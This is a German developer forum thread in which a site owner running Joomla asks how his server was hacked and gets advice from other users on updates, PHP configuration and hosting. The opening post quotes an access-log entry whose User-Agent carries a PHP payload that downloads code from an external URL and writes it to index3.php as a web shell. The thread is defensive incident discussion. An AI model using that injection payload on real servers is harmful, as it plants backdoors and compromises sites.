Autor Beitrag
Marco D.
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 2750

Windows Vista
Delphi 7, Delphi 2005 PE, PHP 4 + 5 (Notepad++), Java (Eclipse), XML, XML Schema, ABAP, ABAP OO
BeitragVerfasst: Mi 04.05.11 16:14 
Hi Community,

ich habe ein Problem mit meiner Internetseite.
Vor kurzem wurde der Server gehackt. Im Access-Log des Apache finde ich folgenden Eintrag:
ausblenden Quelltext
1:
IP-Adresse [Datum/Uhrzeit] "GET /favicon.ico HTTP/1.1" 404 308 "-" "<?php $shell=@file_get_contents(\"http://www.vonmirzensiert.commmm//installation_done/language/zh-TW/no.gif\"); $fw=@fopen(\"index3.php\",\"w\"); fputs ($fw, $shell); fclose($fw); ?>"					


Auf meinen Server wurde also von einer externen URL Code nachgeladen und auf meinen Server (index3.php) geschrieben.
Unmittelbar danach wurde die index3.php dann mehrmals aufgerufen.
Das ganze ist ein bösartiges PHP-Skript.

Meine Frage nun: Wie kann das passieren?
Da schleust jemand in den User-Agent im HTTP-Request ein PHP-Skript ein.
Ich als Webspace-Inhaber hab keine Möglichkeit, den Apache zu konfigurieren. Wie kann ich sowas verhindern?
Ich habe ein Joomla auf der Seite, aber der Request geht ja auf die favicon.ico...
Auf dem Server läuft Apache 2.2.9.
Hat jemand eine Idee, wie ich das in Zukunft verhindern kann?

Grüße
Marco


Moderiert von user profile iconChristian S.: Topic aus Off Topic verschoben am So 15.07.2012 um 12:55

_________________
Pascal keeps your hand tied. C gives you enough rope to hang yourself. C++ gives you enough rope to shoot yourself in the foot
Mr_Emre_D
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 114
Erhaltene Danke: 14



BeitragVerfasst: Mi 04.05.11 20:02 
Ne allgemeine Antwort wäre, alles immer Up-To-Date zu halten.

Im Falle einer 0-Day Lücke hast du eig. so gut wie 0 Chancen, da es noch keine Gegenmaßnahmen dafür gibt. Ich gehe hier grob von solch einer Lücke aus. Falls das nicht der Fall ist, dann lags höchstwahrscheinlich eben daran, dass du nicht geupdatet hast.
Marco D. Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 2750

Windows Vista
Delphi 7, Delphi 2005 PE, PHP 4 + 5 (Notepad++), Java (Eclipse), XML, XML Schema, ABAP, ABAP OO
BeitragVerfasst: Mi 04.05.11 20:04 
Ich hab als Webspace-Inhaber allerdings keinen Einfluss darauf, ob und wie der Provider den Apache auf dem neusten Stand hält ... ?

_________________
Pascal keeps your hand tied. C gives you enough rope to hang yourself. C++ gives you enough rope to shoot yourself in the foot
ALF
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 1085
Erhaltene Danke: 53

WinXP, Win7, Win10
Delphi 7 Enterprise, XE
BeitragVerfasst: Mi 04.05.11 21:51 
Das hat glaube ich weniger mit Appache zu tun, sondern mehr mit der einstellung deiner php.ini was Du global alles zu lässt bzw was ausgeführt werden darf, wenn ich mich nicht irre.

Gruss ALf

_________________
Wenn jeder alles kann oder wüsste und keiner hätt' ne Frage mehr, omg, währe dieses Forum leer!
jaenicke
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 19272
Erhaltene Danke: 1740

W11 x64 (Chrome, Edge)
Delphi 11 Pro, Oxygene, C# (VS 2022), JS/HTML, Java (NB), PHP, Lazarus
BeitragVerfasst: Do 05.05.11 06:18 
Was sagt denn der Support deines Anbieters dazu?

Apache 2.2.9? Der ist fast 3 Jahre alt.

Allerdings ist diese Lücke soweit ich das sehe keine bekannte Lücke, auch im Changelog finde ich auf die schnelle keinen Hinweis darauf (nach 2.2.9). Wie das an der Stelle ausgeführt werden kann, ist mir noch nicht klar. Ich konnte es hier mit dem aktuellen Quelltext des Apache nicht sofort reproduzieren, habe aber auch gerade nicht genug Zeit fürs Debuggen.
BenBE
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 8721
Erhaltene Danke: 191

Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
BeitragVerfasst: Fr 06.05.11 14:32 
Hier fehlen mindestens folgende Angaben:

1. PHP-Version?
2. PHP-SAPI (libapache2-mod-php5, suphp, fastcgi, cgi, isapi, ...)
3. ein etwas umfangreicherer Auszug aus der Logfile (für diese IP).
4. Deine Apache-Konfig bzgl. Script-Handlern, MIME-Guessing, ...
5. Konfiguration von PHP (php.ini, Extensions, openbasedir, safemode)
6. Wird der Suhosin-Patch eingesetzt?

Generell gilt aber: Wenn dein Anbieter seine Software nicht halbwegs aktuell halten kann, solltest Du ihn wechseln :wink:

_________________
Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.